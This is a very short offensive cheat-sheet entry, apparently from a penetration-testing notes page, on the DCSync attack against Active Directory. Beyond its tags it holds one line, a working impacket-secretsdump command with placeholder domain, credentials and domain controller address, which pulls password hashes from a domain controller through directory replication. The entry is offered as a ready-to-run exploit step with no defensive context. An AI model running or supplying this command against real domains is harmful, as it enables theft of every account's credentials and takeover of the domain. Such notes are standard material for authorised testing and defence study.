DCSync

Tags
AuthenticatedDS-Replication-Get-Changes

Identify

Exploit

impacket-secretsdump 'domain.local'/'<user>':'<pass>'@'<DC0IP>'
Remote